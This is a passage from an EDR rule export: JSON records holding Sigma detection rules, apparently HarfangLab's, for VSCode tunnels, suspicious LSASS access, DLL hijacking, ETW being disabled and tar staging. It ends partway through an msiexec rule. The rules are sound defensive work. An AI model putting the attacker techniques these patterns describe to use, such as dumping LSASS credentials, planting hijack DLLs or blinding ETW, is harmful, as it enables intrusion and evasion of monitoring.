+  "creation_date": "2026-03-23T11:45:34.088077Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088081Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/",
+    "https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/",
+    "https://ipfyx.fr/post/visual-studio-code-tunnel/",
+    "https://code.visualstudio.com/docs/remote/tunnels",
+    "https://attack.mitre.org/techniques/T1572/",
+    "https://attack.mitre.org/techniques/T1090/",
+    "https://attack.mitre.org/techniques/T1567/"
+  ],
+  "name": "t1090_linux_vs_code_tunnel_commandline.yml",
+  "content": "title: VSCode Proxy Tunnel Started via Command-line (Linux)\nid: 811137eb-c074-4346-95a0-c3b719d52436\ndescription: |\n    Detects when the VSCode editor is launched with a command-line argument used to connect to a network tunnel.\n    Since July 2023, Microsoft added a feature that allows users to share their Visual Studio Desktop on the web through its own tunnel.\n    This tunnel allows attackers to connect to a remote machine and potentially bypass any network counter-measures.\n    It is recommended to investigate the actions following the creation of this tunnel to determine if they are legitimate.\nreferences:\n    - https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/\n    - https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/\n    - https://ipfyx.fr/post/visual-studio-code-tunnel/\n    - https://code.visualstudio.com/docs/remote/tunnels\n    - https://attack.mitre.org/techniques/T1572/\n    - https://attack.mitre.org/techniques/T1090/\n    - https://attack.mitre.org/techniques/T1567/\ndate: 2023/09/25\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1090\n    - attack.t1572\n    - attack.exfiltration\n    - attack.t1567\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.CommandAndControl\n    - classification.Linux.Behavior.Exfiltration\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith:\n            - '/code'\n            - '/codium'\n        CommandLine|contains: ' tunnel'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "811137eb-c074-4346-95a0-c3b719d52436",
+  "rule_name": "VSCode Proxy Tunnel Started via Command-line (Linux)",
+  "rule_description": "Detects when the VSCode editor is launched with a command-line argument used to connect to a network tunnel.\nSince July 2023, Microsoft added a feature that allows users to share their Visual Studio Desktop on the web through its own tunnel.\nThis tunnel allows attackers to connect to a remote machine and potentially bypass any network counter-measures.\nIt is recommended to investigate the actions following the creation of this tunnel to determine if they are legitimate.\n",
+  "rule_creation_date": "2023-09-25",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1567",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8120633c-3a12-4a4a-ba28-aca664ee60b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627478Z",
+  "creation_date": "2026-03-23T11:45:34.627480Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627485Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_access_suspicious_calltrace_start.yml",
+  "content": "title: LSASS Accessed with Suspicious CallTrace Starting with Uncommon DLL\nid: 8120633c-3a12-4a4a-ba28-aca664ee60b2\ndescription: |\n    Detects an access to LSASS whose call trace starts with an uncommon pattern.\n    Adversaries may try to obfuscate their accesses to the LSASS process by using direct syscalls or custom DLLs.\n    It is recommended to investigate the process accessing LSASS and the content of the call trace.\nreferences:\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2024/04/02\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        TargetImage|endswith: '\\lsass.exe'\n        CallTrace|contains: 'dll' # filter out empty calltrace\n\n    filter_start_ntdll:\n        CallTrace|startswith: '?:\\Windows\\System32\\ntdll.dll'\n\n    # This is handled by the rule 4c2e7819-9e13-4d0f-8926-6bab029881d7\n    filter_unknown:\n        CallTrace:\n            - 'UNKNOWN(????????????????)'\n            - 'UNKNOWN(????????????????)?UNKNOWN(????????????????)'\n            - 'UNKNOWN(????????????????)?UNKNOWN(????????????????)?UNKNOWN(????????????????)'\n\n    filter_error:\n        CallTrace|startswith: 'ACCESS_FAILED'\n\n    filter_winsxs:\n        CallTrace|startswith:\n            - '?:\\Windows\\WinSxS\\amd64_microsoft-windows-ntdll_'\n            - '?:\\Windows\\WinSxS\\Temp\\PendingDeletes\\$$DeleteMe.ntdll.dll'\n            - '?:\\Windows\\WinSxS\\Temp\\PendingDeletes\\$$DeleteMentdll.dll'\n\n    exclusion_start_symantec:\n        CallTrace|startswith:\n            - '?:\\Windows\\System32\\sysfer.dll'\n            - '?:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\\\*\\Data\\Sysfer\\x64\\sysfer.dll'\n\n    exclusion_start_wowcpu:\n        CallTrace|startswith: '?:\\Windows\\System32\\wow64cpu.dll'\n\n    exclusion_bmc:\n        ProcessImage: '*\\BMC Software\\Client Management\\\\*\\bin\\mtxagent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'BMC Software France SAS'\n\n    exclusion_trendmicro:\n        ProcessProcessName:\n            - 'TmCCSF.exe'\n            # C:\\Program Files (x86)\\Trend Micro\\Security Agent\\Ntrtscan.exe\n            - 'Ntrtscan.exe'\n            - 'coreServiceShell.exe' # C:\\Program Files\\Trend Micro\\AMSP\\coreServiceShell.exe\n            - 'TMBMSRV.exe' # C:\\Program Files (x86)\\Trend Micro\\BM\\TMBMSRV.exe\n        ProcessSigned: 'true'\n        ProcessSignature: 'Trend Micro, Inc.'\n\n    exclusion_eset:\n        ProcessImage: '*\\ekrn.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ESET, spol. s r.o.'\n\n    exclusion_mcafee:\n        ProcessProcessName:\n            - 'mfetp.exe'\n            - 'mcshield.exe'\n            - 'mfefw.exe' # C:\\Program Files\\McAfee\\Endpoint Security\\Firewall\\mfefw.exe\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'McAfee, Inc.'\n            - 'McAfee, LLC'\n            - 'MUSARUBRA US LLC'  # new signer name for mcafee/trellix it seems\n\n    exclusion_sentinelone:\n        ProcessImage: '?:\\Program Files\\SentinelOne\\Sentinel Agent *\\SentinelAgent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Sentinel Labs, Inc.'\n\n    exclusion_afkjourney:\n        ProcessImage|endswith: '\\AFKJourney Game\\game\\AFK Journey.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Shanghai Lilith Network Technology Co., Ltd.'\n\n    exclusion_kaspersky:\n        SourceImage:\n            - '?:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Endpoint Security for Windows\\avp.exe'\n            - '?:\\Program Files (x86)\\Kaspersky Lab\\KES.*\\avp.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Kaspersky Lab JSC'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_anticheat:\n        SourceImage: '?:\\Program Files\\EA\\AC\\eaanticheat.gameservice.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Electronic Arts, Inc.'\n\n    exclusion_defender:\n        SourceImage: '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_hp:\n        SourceImage:\n            - '?:\\WINDOWS\\System32\\DriverStore\\FileRepository\\\\*\\x64\\AppHelperCap.exe'\n            - '?:\\Program Files\\HP\\HP Enabling Services\\AppHelperCap.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'HP Inc.'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8120633c-3a12-4a4a-ba28-aca664ee60b2",
+  "rule_name": "LSASS Accessed with Suspicious CallTrace Starting with Uncommon DLL",
+  "rule_description": "Detects an access to LSASS whose call trace starts with an uncommon pattern.\nAdversaries may try to obfuscate their accesses to the LSASS process by using direct syscalls or custom DLLs.\nIt is recommended to investigate the process accessing LSASS and the content of the call trace.\n",
+  "rule_creation_date": "2024-04-02",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "81219c6e-886d-4b50-b40f-41239e06d340",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073948Z",
+  "creation_date": "2026-03-23T11:45:34.073950Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073960Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992",
+    "https://attack.mitre.org/techniques/T1574/001/",
+    "https://attack.mitre.org/techniques/T1574/002/"
+  ],
+  "name": "t1574_001_prepare_persistence_dll_hijack_sessionenv_tsmsisrv_tsvipsrv.yml",
+  "content": "title: SessionEnv Service DLL Hijack Prepared\nid: 81219c6e-886d-4b50-b40f-41239e06d340\ndescription: |\n    Detects the preparation of a DLL hijacking of the SessionEnv service, which tries to load the non-existant TSMSISrv.dll or TSVIPSrv.dll DLLs in the System32 directory.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL in paths where the application is lured into loading the malicious DLL.\n    Attackers can use this technique to execute malicious code within a legitimate process and try to bypass security restrictions.\n    It is recommended to analyze the process responsible for the creation of the DLL file as well as to analyze the DLL itself to look for malicious content or actions.\nreferences:\n    - https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992\n    - https://attack.mitre.org/techniques/T1574/001/\n    - https://attack.mitre.org/techniques/T1574/002/\ndate: 2020/10/02\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.defense_evasion\n    - attack.t1574.001\n    - attack.t1574.002\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path:\n            - '?:\\Windows\\System32\\TSMSISrv.dll'\n            - '?:\\Windows\\System32\\TSVIPSrv.dll'\n\n    exclusion_tiworker:\n        # C:\\Windows\\WinSxS\\Temp\\InFlight\\8e744265c6e9d6012163000028443044\\x86_microsoft-windows-t..-tsappsrv-component_31bf3856ad364e35_10.0.18362.1_none_e51344e8b75a8450\\TSVIPSrv.dll\n        # C:\\Windows\\SoftwareDistribution\\Download\\5e1bc13863a9edce2a85b3decedd49f5\\wow64 Microsoft-...\\TSVIPSrv.dll\n        Path|startswith:\n            - '?:\\Windows\\WinSxS\\Temp\\'\n            - '?:\\Windows\\SoftwareDistribution\\'\n\n    exclusion_setuphost:\n        #\"C:\\$WINDOWS.~BT\\Sources\\SetupHost.Exe\" /Install /Package /Quiet /ReportId 392BCADE-AA59-480A-BCB8-2531CF4C7BB7.1 /FlightData \"RS:91AA\" \"/CancelId\" \"C-550fea5d-7c6c-4f82-aafd-2ff0174557d1\" \"/PauseId\" \"P-550fea5d-7c6c-4f82-aafd-2ff0174557d1\" \"/CorrelationVector\" \"GSAhuSONx02Lv7o+.10.0.0.3.147\" \"/EnterpriseAttribution\" \"/ActionListFile\" \"C:\\Windows\\SoftwareDistribution\\Download\\1e1311ab437e7a164204683b9686c982\\ActionList.xml\"\n        Path|startswith:\n            # C:\\$WINDOWS.~BT\\NewOS\\Windows\\WinSxS\\x86 microsoft-windows-t..-tsappsrv-component 31bf3856ad364e35 10.0.19041.1 none c8a6e270d97f9beb\\TSVIPSrv.dll\n            - '?:\\Windows\\WinSxS\\'\n            # c:\\windows\\servicing\\LCU\\*\\tsmisrv.dll\n            - '?:\\Windows\\servicing\\LCU\\'\n\n    exclusion_mui:\n        # some alerts are raised on *.mui files?\n        Path|endswith:\n            - '\\TSMSISrv.dll.mui'\n            - '\\TSVIPSrv.dll.mui'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "81219c6e-886d-4b50-b40f-41239e06d340",
+  "rule_name": "SessionEnv Service DLL Hijack Prepared",
+  "rule_description": "Detects the preparation of a DLL hijacking of the SessionEnv service, which tries to load the non-existant TSMSISrv.dll or TSVIPSrv.dll DLLs in the System32 directory.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL in paths where the application is lured into loading the malicious DLL.\nAttackers can use this technique to execute malicious code within a legitimate process and try to bypass security restrictions.\nIt is recommended to analyze the process responsible for the creation of the DLL file as well as to analyze the DLL itself to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-10-02",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "814f4f55-9d99-469a-bbd5-80b622a72327",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087839Z",
+  "creation_date": "2026-03-23T11:45:34.087841Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087846Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.splunk.com/endpoint/8ed523ac-276b-11ec-ac39-acde48001122/",
+    "https://gist.github.com/Cyb3rWard0g/a4a115fd3ab518a0e593525a379adee3",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_windows_etw_disabled_env.yml",
+  "content": "title: ETWEnabled User Environment Variable Modified via Registry\nid: 814f4f55-9d99-469a-bbd5-80b622a72327\ndescription: |\n    Detects a modification of the environment variable in registry \"COMPlus_ETWEnabled\" to an empty value, effectively disabling ETW for the current user.\n    Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers.\n    Attackers may attempt to disable it to reduce detection from EDRs and other defensive tools.\n    It is recommended to ensure that this action is legitimate and performed by an authorized administrator.\nreferences:\n    - https://research.splunk.com/endpoint/8ed523ac-276b-11ec-ac39-acde48001122/\n    - https://gist.github.com/Cyb3rWard0g/a4a115fd3ab518a0e593525a379adee3\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/03/20\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1562.006\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set:\n        EventType: SetValue\n        TargetObject|endswith: '\\Environment\\COMPlus_ETWEnabled'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    selection_rename:\n        EventType: RenameValue\n        TargetObject|endswith: '\\Environment\\COMPlus_ETWEnabled'\n\n    condition: (selection_set and not filter_empty) or selection_rename\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "814f4f55-9d99-469a-bbd5-80b622a72327",
+  "rule_name": "ETWEnabled User Environment Variable Modified via Registry",
+  "rule_description": "Detects a modification of the environment variable in registry \"COMPlus_ETWEnabled\" to an empty value, effectively disabling ETW for the current user.\nEvent Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers.\nAttackers may attempt to disable it to reduce detection from EDRs and other defensive tools.\nIt is recommended to ensure that this action is legitimate and performed by an authorized administrator.\n",
+  "rule_creation_date": "2023-03-20",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "81652c3b-9fe2-4574-8a7c-b934c200d75f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602648Z",
+  "creation_date": "2026-03-23T11:45:34.602652Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602660Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_datausagelivetiletask.yml",
+  "content": "title: DLL Hijacking via datausagelivetiletask.exe\nid: 81652c3b-9fe2-4574-8a7c-b934c200d75f\ndescription: |\n    Detects potential Windows DLL Hijacking via datausagelivetiletask.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'datausagelivetiletask.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dusmapi.dll'\n            - '\\IPHLPAPI.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "81652c3b-9fe2-4574-8a7c-b934c200d75f",
+  "rule_name": "DLL Hijacking via datausagelivetiletask.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via datausagelivetiletask.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "81687d0a-fbde-46b9-806e-4ec222dbcb81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618575Z",
+  "creation_date": "2026-03-23T11:45:34.618577Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618581Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1560/001/"
+  ],
+  "name": "t1560_001_tar_archive_creation_file.yml",
+  "content": "title: Archive Created via tar in a Suspicious Folder\nid: 81687d0a-fbde-46b9-806e-4ec222dbcb81\ndescription: |\n    Detects archive creation using tar in a folder commonly used by malicious code.\n    Adversaries may compress and/or encrypt collected data prior to exfiltration.\n    It is recommended to check the processes leading to tar's execution and the content of the archive.\nreferences:\n    - https://attack.mitre.org/techniques/T1560/001/\ndate: 2024/07/22\nmodified: 2024/03/12\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1560.001\n    - attack.t1119\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Collection\nlogsource:\n    product: macos\n    category: filesystem_event\ndetection:\n    selection:\n        ProcessImage|endswith: '/tar'\n        ProcessCommandLine|contains: ' -c'\n        Path|startswith:\n            - '/Users/shared/'\n            - '/private/var/tmp/'\n            - '/private/tmp/'\n        Kind: 'create'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "81687d0a-fbde-46b9-806e-4ec222dbcb81",
+  "rule_name": "Archive Created via tar in a Suspicious Folder",
+  "rule_description": "Detects archive creation using tar in a folder commonly used by malicious code.\nAdversaries may compress and/or encrypt collected data prior to exfiltration.\nIt is recommended to check the processes leading to tar's execution and the content of the archive.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2024-03-12",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1119",
+    "attack.t1560.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "81d540bc-ce2c-43e7-8b95-5d78f41f00cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089558Z",
+  "creation_date": "2026-03-23T11:45:34.089560Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089565Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1218/007/"
+  ],
+  "name": "t1218_007_msiexec_remote_installation.yml",
